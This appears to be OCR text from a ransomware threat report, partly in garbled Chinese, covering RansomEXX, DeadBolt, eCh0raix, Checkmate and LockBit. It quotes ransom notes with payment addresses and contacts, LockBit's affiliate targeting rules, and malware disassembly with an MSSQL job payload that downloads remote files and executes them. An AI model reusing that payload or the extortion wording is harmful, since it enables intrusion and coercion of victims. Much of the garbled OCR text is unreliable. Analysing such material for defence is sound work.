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colombiana—viva-air-ha-sido-comprometida-por-la—banda—de—ransomware—

/notforsecurity/scottish-mental-health-charity-devastated-by-heartless—

First of all, we need to get in touch with the OFFICIAL REPRESENTATIVE OR CEO of the affected company.
In case you have no right to speak from the name of this company, don’t try to contact us!

Any unauthorized contact will RAISE the ransom amount.

We can share this information with AUTHORIZED person ONLY, without any exceptions.

We think you understand these measures is necessary to maintain the FULL CONFIDENTIALITY of our deal.
This page can be reached through the direct link ONLY.

If you don't understand what is going on DON'T CONTACT US.

Read this message TWICE.

In case you are the OFFICIAL REPRESENTATIVE of the whole company, please consider next information with ALL possible
attention.

Also, you can consult with someone from your IT department. It will help us to AVOID any further misunderstanding.

Your files were ENCRYPTED with most recent encryption.

Remember that any attempt of MODIFICATION or RENAMING of the encrypted files will cause a severe damage to the file.

Please send us your EMAIL address and UPLOAD one of the encrypted files.

When the file will be uploaded, the file upload form will be DELETED.

This is one of the reasons why we speak only with an authorized person: any actions from cther people will bring SERIOUS
problems.

Important moment: DON'T try to upload files with any kind of sensitive information (databases, backups, financial documentation,
technical data, large documents, etc).

This file will be decrypted AS EXAMPLE. It will show our ability to decrypt other files.

We won't give you chances to decrypt a file and leave email ANYMORE. Do not even try to cheat us!

We'll contact you when you'll send us a TEST FILE. After the PAYMENT, all your information will be decrypted.

You need to reply us in ONE DAY. In any other case, the ransom amount will be RAISED, but you will gain one more opportunity to
upload the test file. v

RANSOMEXX #) 3 4011152 <5 1R 4 L IHT POl ) KB il 9 0
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—. 2022 4E QNAP B &2 E R B RYTE

BB R YA DeadBol t FEARMATTIEAEAE F B4 BRAFIK) Oday JeiFIXS 42k QNAP NAS ¢4
BEAT I Bt o

Y T 2022 4F 1 A 25 HIFES, PRI QAP 4 298 R R BLH S s, &7
FEEISCPE SO 2 S BT/ 4449, deadbolt 1 SCHH JE 44 . T 46 60168335 U 1] 2 W B
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IR AP 7530 AL B R DU H A AR, An2R QNAP AT S2AS 5 AN ELRF T, DeadBolt B Hif
YR $R 3t 0day iR 2 M VEAIME 2. [FAIRHBATE R R BL 50 AN ERy i i &S 4 17 QNAP HE 65
R LN FITAT 52 3538 s SCPF I 23 A Oday (55 .

What happened?

All your files have been encrypted. This includes (but is not limited to) Photos,
Documents and Spreadsheets.

Why Me?

This is not a personal attack. You have been targeted because of the inadequate
security provided by your vendor (QNAP).

What now?

You can make a payment of (exactly) ©0.030000 bitcoin to the following address:
bclqcdve3qn83g44gmzrmgsces3rh2régm93j9jcul

Once the payment has been made we'll follow up with a transaction to the same
address, this transaction will include the decryption key as part of the

transaction details. [more information]

You can enter the decryption key below to start the decryption process and get
access to all your files again.

DeadBolt #1115 E
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eChOraix order page
Status: Waiting Payment...
All your data has been stolen and locked(crypted).
If you want decrypting your files send 0045 |%\ BTC(bitcoin)
to this address: | . == =gy i ";_@_i

-~

Or use QR code

Check payment and get decryptor

eChOraix &R

BEAh, QNAP F 6 H 17 H BB S A P2 01 w5 8 2 5 — 3 R A ——
DeadBolt [HT —5e Xt AR EDGE ™ i 22 A E A RN (QNAP PSIRT) AL, X
DRI N2 A T B 68 B QTS 4. 3. 6 FTQTS 4. 4. 1 [ NAS 4%, 52 52 I HL A 32 22 TS—x51
RYNFTS-x53 R “ILIEL RAEIZA T H 2022 S DOk R AR 5 DU RAH D Z (5 2,
FiAA X AR AR W P R H RS RTIRAS, BB R BEE TN T, 7

HZ 2022 £ 7 F JNAS % &5 8  QNAP 275 F P K : ZE245) Checkmate $12 84 %) QNAP
[ NAS B R BB o X Heh EEAEP ARG T SMB RS H BB /E B b i #% b, A
F BB R AR IR T —— X ik P AR 5 1E 55 1A B i i i B e
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Checkmate /& & IEH KB B R BHAE . HERIIAE 5 A 28 HAAKBGET, &M
S8 M K W I B 4 . checkmate JE K B — N & N«
CHECKMATE_DECRYPTION README” [{#)Z& SCF. [R5 5EH REME 15000 35 701 EbHF Rk fi#

o

BN

You was hacked by CHECKMATE team.

All your data has been encrypted, backups have been deleted.

Your unique ID: bc75C720F835% %% kkdkkkkakokskskokskkkok

You can restore the data by paying us money.

We have encrypted 267183 office files.

We determine the amount of the ransom from the number of encrypted office files.

The cost of decryption is 15600 USD.

Payment is made to a unique bitcoin wallet.

Before paying, you will be able to make sure that we can actually decrypt your files.

For this:

1) Download and install Telegram Messenger https://telegram.org/

2) Find us https://t.me/checkmate_team

3) Send a message with your unique ID and 3 files for test decryption. Files should be no
more than 15mb each.

4) In response, we will send the decrypted files and a bitcoin wallet for payment. Bitcoin
wallet is unique for you, so we can find out what you paid.

5) After the payment is received, we will send you the key and the decryption program.

Checkmate #1215 2
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You have to send 1 BTC to below address and specify the transaction 1D in the field below, which will be verifyed and
confirmed.

Once we receive your payment, you'll get a password to decrypt your data.

Waiting for payment.

Submit payment info.

Logout
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Categories of targets to attack:

Itis illegal to encrypt files in critical infrastructure, such as nuclear power plants, thermal power plants, hydroelectric power
plants, and other similar organizations. Allowed to steal data without encryption. If you can't figure out if an organization is a
critical infrastructure, ask your helpdesk.

The oil and gas industry, such as pipelines, gas pipelines, oil production stations, refineries, and other similar organizations are
not allowed to be encrypted. It is allowed to steal data without encryption.

It is forbidden to attack the post-Soviet countries such as: Armenia, Belarus, Georgia, Kazakhstan, Kyrgyzstan, Latvia, Lithuania,
Moldova, Russia, Tajikistan, Turkmenistan, Uzbekistan, Ukraine and Estonia. This is due to the fact that most of our developers
and partners were born and grew up in the Soviet Union, the former largest country in the world, but now we are located in
the Netherlands.

Itis allowed to attack non-profit organizations. If an organization has computers, it must take care of the security of the
corporate network.

It is allowed to attack any educational institutions as long as they are private and have a revenue.

Itis allowed to very carefully and selectively attack medical related institutions such as pharmaceutical companies, dental
clinics, plastic surgeries, especially those that change sex and force to be very careful in Thailand, as well as any other
organizations provided that they are private and have rhubarb. It is forbidden to encrypt institutions where damage to the
files could lead to death, such as cardiology centers, neurosurgical departments, maternity hospitals and the like, that is, those
institutions where surgical procedures on high-tech equipment using computers may be performed. It is allowed to steal data
from any medical facilities without encryption, as it may be a medical secret and must be strictly protected in accordance with
the law. If you can't pinpoint whether or not a particular medical organization can be attacked, contact the helpdesk.

It is very commendable to attack police stations and any other law enforcement agencies that are engaged in finding and
arresting hackers, they do not appreciate our useful work as a pentest with postpaid and consider it a violation of the law, we
should show them that a competent computer network setup is very important and write a fine for computer illiteracy.

It is allowed to attack government organizations, only with revenue.

LockBit A%
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.rdata:@856FFF8 aUseMsdbExecSpA_3 db 'use msdb;exec sp_add_job ',27h,'dbdotas2’,27h,';exec sp_add_jobst'

.rdata:@056FFF8 ; DATA XREF: sub_42B25A+B72To

.rdata:@B56FFF8 db ‘ep null, " ,27h, ' 'dbdotas2’',27h,',Null,’,27h, 'dbdotas2’',27h,",",27h,'T"’
.rdata:@@56FFF8 db *sQL",27h,",",27h, 'declare @a varchar(8068);set @a=8x4445434C41524"
.rdata:@@56FFF8 db * *
.rdata:8056FFF8 db * )
.rdata:8056FFF8 db "458726F786572747920406A73312C208274C616E6775616765272C208274A617661 "
.rdata:@856FFF8 db * :
.rdata:@@56FFF8 db *

.rdata:@056FFF8 db "646F776E2E6634333231792E636F6D3A383838382F746573742E68746D6C222C6"
.rdata:@8056FFF8 db * s
.rdata:@056FFF8 db "56374282241444F44420E53747265616D22292C7773683D6E6577284163746976"
.rdata:@e56FFF8 db "B5584F626AB563742822575363726978742E5368656C06C22293B666F 722868747 "
.rdata:@e56FFF8 db "4782E6F7B656E2822474554222C75726C2C2131292C687474702E73656E642829°
.rdata:@e56FFF8 db "2C7374723D687474702E726573706F6ET365546578742C6172723D7374722E737"
.rdata:@@56FFF8 db "B6C697428225C725C6E22292C693D303B6172722E6C656E6774683E693B692B28"
.rdata:@056FFF8 db "29743D6172725B695D2E73706C6974282220222C33292C687474702E6F70656E2"
.rdata:@e56FFF8 db "822474554222C745B3085D2C2131292C687474702E73656E6428292061646F2E54 "
.rdata:@@56FFF8 db "7978653D312C61646F2E4F78656E28292C61646F2E577269746528687474702E7"
.rdata:@@56FFF8 db "26573706F6E7365426F6479292C61646F2E53617665546F46696C6528745B83150°
.rdata:@856FFF8 db "2C32292C61646F2E436C6F736528292C313D030745B325026267773682E52756E2"
.rdata:B8056FFF8 db "8745B315D293B27;exec(@a); ",27h, " ;exec sp_add jobserver Null,',27h
.rdata:B@056FFF8 db "dbdotas2’,27h,';exec sp_add jobschedule @job_name=",27h, "dbdotas2’
.rdata:@B56FFF8 db 27h,",@name="',27h, 'dbdotas2’,27h, " ,@freq_type=64;',8
.rdata:@85785A7 align 4

.rdata:@85705A8 ; char aCrackerMssqlCm_1[]
.rdata:@85705A8 aCrackerMssglCm_1 db '[Cracker:MSSQL] cmd3:[%s]°,0

DECLARE @jsl int;
EXEC sp OACreate 'ScriptControl', @jsl OUT;
EXEC sp OASetProperty @jsl, 'Language', 'JavaScriptl.l';

EXEC sp_ORMethod Bjsl, 'Eval', NULL, 'var url="http: ~hEml ™y
http=new ActiveXObject ("Mszml2.ServerXMLHTTP") ,ado=new ActiveXObject ("ADODB.Stream™),

) .
str=http.responseText,arr=str.split("\r\n") ,i=0;arr.length>i;i++)t=arr[i] .split(" ",3),

http.open("GET",t[0],11) ,http.send(),ado.Type=1,ado.Open() ,ado.Write (http.responseBody),
ado.SaveToFile(t[1],2) ,ado.Close() ,1—t[2] &&wsh.Run(t[1]) ;'
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